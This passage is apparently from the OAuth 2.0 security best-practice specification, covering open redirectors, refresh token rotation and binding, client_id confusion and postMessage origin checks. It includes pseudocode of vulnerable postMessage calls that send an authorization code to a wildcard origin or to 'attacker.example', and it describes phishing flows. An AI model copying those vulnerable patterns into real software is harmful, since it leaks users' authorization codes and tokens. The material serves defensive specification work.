Clients MUST NOT expose open redirectors. Attackers may use openredirectors to produce URLs pointing to the client and utilize them toexfiltrate authorization codes and access tokens, as described inSection 4.1.2. Another abuse case is to produce URLs thatappear to point to the client. This might trick users into trusting the URLand following it in their browser. This can be abused for phishing.¶

In order to prevent open redirection, clients should only redirect ifthe target URLs are allowed or if the origin and integrity of arequest can be authenticated. Countermeasures against open redirectionare described by OWASP[owasp.redir].¶

4.11.2.Authorization Server as Open Redirector

Just as with clients, attackers could try to utilize a user's trust inthe authorization server (and its URL in particular) for performingphishing attacks. OAuth authorization servers regularly redirect usersto other websites (the clients), but must do so safely.¶

[RFC6749], Section 4.1.2.1, already prevents open redirects bystating that the authorization server MUST NOT automatically redirect the user agent in caseof an invalid combination ofclient_id andredirect_uri.¶

However, an attacker could also utilize a correctly registeredredirect URI to perform phishing attacks. The attacker could, forexample, register a client via dynamic client registration[RFC7591]and execute one of the following attacks:¶

1. Intentionally send an erroneous authorization request, e.g., by using aninvalid scope value, thus instructing the authorization server to redirectthe user-agent to its phishing site.¶
2. Intentionally send a valid authorization request withclient_id andredirect_uri controlled by the attacker. After the user authenticates, theauthorization server prompts the user to provide consent to the request. Ifthe user notices an issue with the request and declines the request, theauthorization server still redirects the user agent to the phishing site. Inthis case, the user agent will be redirected to the phishing site regardlessof the action taken by the user.¶
3. Intentionally send a valid silent authentication request (prompt=none)withclient_id andredirect_uri controlled by the attacker. In thiscase, the authorization server will automatically redirect the user agent tothe phishing site.¶

The authorization server MUST take precautions to prevent these threats. The authorization server MUST alwaysauthenticate the user first and, with the exception of the silent authenticationuse case, prompt the user for credentials when needed, before redirecting theuser. Based on its risk assessment, the authorization server needs to decide whether it can trustthe redirect URI or not. It could take into account URI analytics doneinternally or through some external service to evaluate the credibility andtrustworthiness of content behind the URI, and the source of the redirect URI andother client data.¶

The authorization server SHOULD only automatically redirect the user agent if it trusts theredirect URI. If the URI is not trusted, the authorization server MAY inform the user and rely onthe user to make the correct decision.¶

4.14.1.Discussion

Refresh tokens are an attractive target for attackers since theyrepresent the full scope of grant a resource owner delegated to a certainclient and they are not further constrained to a specific resource. If an attacker is able to exfiltrate and successfully replay arefresh token, the attacker will be able to mint access tokens and usethem to access resource servers on behalf of the resource owner.¶

[RFC6749] already provides robust baseline protection by requiring¶

• confidentiality of the refresh tokens in transit and storage,¶
• the transmission of refresh tokens over TLS-protected connections betweenauthorization server and client,¶
• the authorization server to maintain and check the binding of a refresh tokento a certain client and authentication of this client during token refresh,if possible, and¶
• that refresh tokens cannot be generated, modified, or guessed.¶

[RFC6749] also lays the foundation for further(implementation-specific) security measures, such as refresh token expiration andrevocation as well as refresh token rotation by defining respectiveerror codes and response behaviors.¶

This specification gives recommendations beyond the scope of[RFC6749] and clarifications.¶

4.14.2.Recommendations

Authorization servers MUST determine, based on a risk assessment,whether to issue refresh tokens to a certain client. If theauthorization server decides not to issue refresh tokens, the clientMAY obtain a new access token by utilizing other grant types, such as theauthorization code grant type. In such a case, the authorizationserver may utilize cookies and persistent grants to optimize the userexperience.¶

If refresh tokens are issued, those refresh tokens MUST be bound tothe scope and resource servers as consented by the resource owner.This is to prevent privilege escalation by the legitimate client and reducethe impact of refresh token leakage.¶

For confidential clients,[RFC6749] already requires that refreshtokens can only be used by the client for which they were issued.¶

Authorization servers MUST utilize one of these methods todetect refresh token replay by malicious actors for public clients:¶

• Sender-constrained refresh tokens: the authorization servercryptographically binds the refresh token to a certain clientinstance, e.g., by utilizing[RFC8705] or[RFC9449].¶

• Refresh token rotation: the authorization server issues a newrefresh token with every access token refresh response. Theprevious refresh token is invalidated but information about therelationship is retained by the authorization server. If a refreshtoken is compromised and subsequently used by both the attackerand the legitimate client, one of them will present an invalidatedrefresh token, which will inform the authorization server of thebreach. The authorization server cannot determine which partysubmitted the invalid refresh token, but it will revoke theactive refresh token. This stops the attack at the cost of forcingthe legitimate client to obtain a fresh authorization grant.¶

  Implementation note: The grant to which a refresh token belongsmay be encoded into the refresh token itself. This can enable anauthorization server to efficiently determine the grant to which arefresh token belongs, and by extension, all refresh tokens thatneed to be revoked. Authorization servers MUST ensure theintegrity of the refresh token value in this case, for example,using signatures.¶

Authorization servers MAY revoke refresh tokens automatically in caseof a security event, such as:¶

• password change¶
• logout at the authorization server¶

Refresh tokens SHOULD expire if the client has been inactive for sometime, i.e., the refresh token has not been used to obtain fresh accesstokens for some time. The expiration time is at the discretion of theauthorization server. It might be a global value or determined basedon the client policy or the grant associated with the refresh token(and its sensitivity).¶

4.15.1.Countermeasures

Authorization servers SHOULD NOT allow clients to influence theirclient_id orany claim that could cause confusion with a genuine resource owner if a commonnamespace for client IDs and user identifiers exists, such as in thesub claimshown above. Where this cannot be avoided, authorization servers MUST provideother means for the resource server to distinguish between the two types ofaccess tokens.¶

4.17.1.Examples

The following non-normative pseudocode examples of attacks using in-browsercommunication are described in[research.rub]:¶

window.opener.postMessage(  {    code: "ABC",    state: "123"  },  "*" // any website in the opener window can receive the message)

window.opener.postMessage(  {    code: "ABC",    state: "123"  },  "https://attacker.example" // attacker-provided value)

4.17.2.Recommendations

When comparing client receiver origins against pre-registered origins,authorization servers MUST utilize exact string matching as described inSection 4.1.3. Authorization servers MUST send postMessages totrusted client receiver origins, as shown in the following, non-normative example:¶

window.opener.postMessage(  {    code: "ABC",    state: "123"  },  "https://client.example" // use explicit client origin)

Wildcard origins like "*" in postMessage MUST NOT be used as attackers can use themto leak a victim's in-browser message to malicious origins.Both measures contribute to the prevention of leakage of authorization codes andaccess tokens (seeSection 4.1).¶

Clients MUST prevent injection of in-browser messages on the clientreceiver endpoint. Clients MUST utilize exact string matching to comparethe initiator origin of an in-browser message with the authorizationserver origin, as shown in the following, non-normative example:¶

window.addEventListener("message", (e) => {  // validate exact authorization server origin  if (e.origin === "https://honest.as.example") {    // process e.data.code and e.data.state  }})

Since in-browser communication flows only apply a different communicationtechnique (i.e., postMessage instead of HTTP redirect), all measures protectingthe authorization response listed inSection 2.1 MUST be applied equally.¶